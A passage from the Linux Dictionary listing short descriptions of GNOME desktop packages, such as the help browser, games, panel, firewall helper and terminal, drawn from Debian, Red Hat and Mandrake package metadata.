GNOME help browser Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. This package contains the Gnome help browser application. Based on the gtk-xmhtml widget, it allows you to view documentation in the form of HTML, man pages, or GNU info pages. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-help-browser

manual page for Gnome GnomeHelp 1.2.3 From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-hint

show hint at Gnome startup. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-hint-properties-capplet

Startup hint properties for Gnome From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-iagno

Gnome version of Othello (Reversi) board game Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. Classic Othello (Reversi) board game. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-iconedit

GNOME-Iconedit is a simple icon editor for the GNOME desktop environment. It is not as powerful as the wonderful GIMP, but has enough features to create simple icons or cursors. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-info2html

UNIX Info Page to HTML translator From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-intro

Short introduction to Gnome This guide gives you a short introduction to Gnome. It is not intended to cover all details of Gnome. If you need more information, you should install the gnome-users-guide-en package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-libice-check

Tool for gnome-session From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-libs

GNOME (GNU Network Object Model Environment) is a user-friendly set of GUI applications and desktop tools to be used in conjunction with a window manager for the X Window System. The gnome-libs package includes libraries that are needed to run GNOME. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-libs-data

Data for Gnome libraries Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. This package contains shared data used by the Gnome libraries, such as i18n messages and pixmaps. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-linuxconf

GNOME (GNU Network Object Model Environment) is a user-friendly set of applications and desktop tools to be used in conjunction with a windowmanager for the X Window System. The gnome-linuxconf package includes GNOME's front end for the linuxconf system configuration utility. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-login-check

Tool for gnome-session From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-lokkit

basic interactive firewall configuration tool (GNOME interface) The gnome-lokkit package contains a utility which attempts to provide firewalling for the average Linux end user. Instead of having to configure firewall rules, gnome-lokkit asks a small number of simple questions and writes a firewall rule set for you. Gnome-lokkit is not designed to configure arbitrary firewalls. To make it simple to understand, it is solely designed to handle typical dialup user and cable modem setups. It will not provide a complex firewall configuration, and it is not the equal of an expert firewall designer. Home Page: <http://www.linux.org.uk/apps/lokkit.shtml> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-mahjongg

Classic Chinese Tile Game (from Gnome) Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. Classic Chinese Tile Game. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-man2html

UNIX Man Page to HTML translator From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-media

GNOME (GNU Network Object Model Environment) is a user-friendly set of GUI applications and desktop tools to be used in conjunction with a window manager for the X Window System. The gnome-media package will install media features like the GNOME CD player. Install gnome-media if you want to use GNOME's multimedia capabilities. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-media

GNOME (GNU Network Object Model Environment) is a user-friendly set of applications and desktop tools to be used in conjunction with a window manager for the X Window System. GNOME is similar in purpose and scope to CDE and KDE, but GNOME (as KDE) is based completely on Open Source software. GNOME's powerful environment is pleasing on the eye, easy to configure and use. This package will install such media features as the GNOME CD player. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-media

Gnome Media Utilities (gmix, gtcd) Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. This package contains: gmix - a mixer gtcd - a cd player vumeter - watch sound output grecord - record sounds From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-mime-data

base MIME and Application database for GNOME. This module contains the base MIME and Application database for GNOME. It is meant to be accessed through the MIME functions in GnomeVFS. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-mime-data

gnome-mime-data provides the file type recognition data files for gnome-vfs. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-mkstub

Documentation tool for GNOME From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-moz-remote

remote control of Mozilla. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-mud

A simple MUD Client for X and GTK+ GNOME-Mud is a Multi-User Dungeon (MUD) client for X. It supports aliases, triggers, variables, key bindings, colour settings, multiple connections, command queuing and also features a connection wizard and a mapper utility. There's a plugin interface too, which can be used to add your own features (for example, a graphical health monitor). It uses the GNOME libraries, but it can be used with any window manager. GNOME-Mud is the successor of AMCL, a simple, GTK+-based MUD client. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-name-service

Orbit name service From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-network

The gnome network utilities. Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. This package contains a ppp thingy, a mail thingy, a talk thingy and a sync thingy. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-panel

Launch and/or dock Gnome applications Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. This package contains a toolbar (the "panel") that you can attach to the edge of your X desktop. You can install "applets" on it. Several applets are supplied: an application menu, a clock, a mail checker, a network monitor, etc. You can customize the location, and the "autohide" animations. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-panel-add-launcher

add a launcher in the Gnome panel. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-panel-data

Data files for GNOME panel Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. This package contains data files (pixmap etc.) for the panel that is not architecture-dependent. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-panel-properties-capplet

Configure your Gnome panel. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-pilot

A GNOME applet for management of your Palm PDA gnome-pilot is a GNOME applet with a daemon that monitors for pilot connections from a serial port, XCopilot, etc. It features a conduit system and includes basic conduits for backing up, email, memos, etc. More conduits may be found in the gnome-pilot-conduits package. Note that this has only been tested on a Palm III; any successes with other models would make for encouraging reports :). gnome-pilot is not known to cause any data loss, but as the version number indicates, it is still deep in its first development stages. Please use it with caution. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-pilot-conduits

Conduits for gnome-pilot This package contains conduits for the gnome-pilot Palm PDA applet. It adds expense, memo, time, email, and MAL (mobile application link) sync functionality to gnome-pilot. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-pim

The GNOME Personal Information Manager consists of applications to make keeping up with your busy life easier. Currently these apps are present: - gnomecal : personal calendar and todo list - gnomecard: contact list of friends and business associates From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-pim-conduits

The gnome-pim-conduits package includes the conduits needed to connect your PalmPilot with gnome-pim applications. Currently these conduits are present: – gnomecal : synchronizes your GnomeCal calendar with your Palm's calendar – gnomecard: synchronizes your contact list From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-pm

GNOME stock portfolio manager This is a replacement for the "Java Portfolio Manager" provided by Yahoo!; its intent is to be faster and less memory-intensive than its Java cousin. It currently supports multiple portfolios and symbol lookup. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-print

GNOME (GNU Network Object Model Environment) is a user-friendly set of applications and desktop tools to be used in conjunction with a window manager for the X Window System. GNOME is similar in purpose and scope to CDE and KDE, but GNOME is based completely on free software. The gnome-print package contains libraries and fonts that are needed by GNOME applications wanting to print. You should install the gnome-print package if you intend on using any of the GNOME applications that can print. If you would like to develop GNOME applications that can print you will also need to install the gnome-print devel package. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-pty-helper

Helper setuid application From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-python2

The gnome-python package contains the source packages for the Python bindings for GNOME called PyGNOME. PyGNOME is an extension module for Python that provides access to the base GNOME libraries, so you have access to more widgets, a simple configuration interface, and metadata support. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-same-gnome

The "Same Game" puzzle (from Gnome) Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. The "Same Game" puzzle. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-session

GNOME (GNU Network Object Model Environment) is a user-friendly set of applications and desktop tools to be used in conjunction with a window manager for the X Window System. The GNOME Session Manager restores a set session (group of applications) when you log into GNOME. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-session

gnome-session manages a GNOME desktop session. It starts up the other core GNOME components and handles logout and saving the session. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-session

Starts up the GNOME desktop environment From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-smproxy

Session Manager Proxy. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-spell

GNOME/Bonobo component for spell checking Gnome spell is a GNOME/Bonobo component for spell checking. It's based on pspell. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-sudo

GUI frontend to sudo `gnome-sudo` will popup a dialog requesting the password for the user to run as (if necessary, sudo has caching), and copies `~/.Xauthority` so that that user can reach it. This is to provide a way for GUI programs (such as package managers) to run in an easy, point-and-drool fashion. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-system-monitor

`gnome-system-monitor` is a simple process and system monitor. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-tasksel

GNOME interface to Debian tasks This package provides a GNOME interface for selecting tasks. It aims to be compatible with and identical in functionality to `tasksel`, the standard task selection interface. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-telnet

Gnome Telnet provides a very nice graphical user interface for 3-in-1 telnet, ssh, and rlogin client for Gnome From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-terminal

GNOME terminal emulator application. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-terminal

The Gnome terminal emulator application Gnome is the "GNU Network Object Model Environment" It is a project to build a complete, user-friendly desktop based entirely on free software. This package contains the Gnome Gtk-based terminal application (based on the `zvt` widget). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-themes

This packages contains Themes for GNOME, such as `:-High Contrast-Large Print-Low Contrast` From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gnome-think
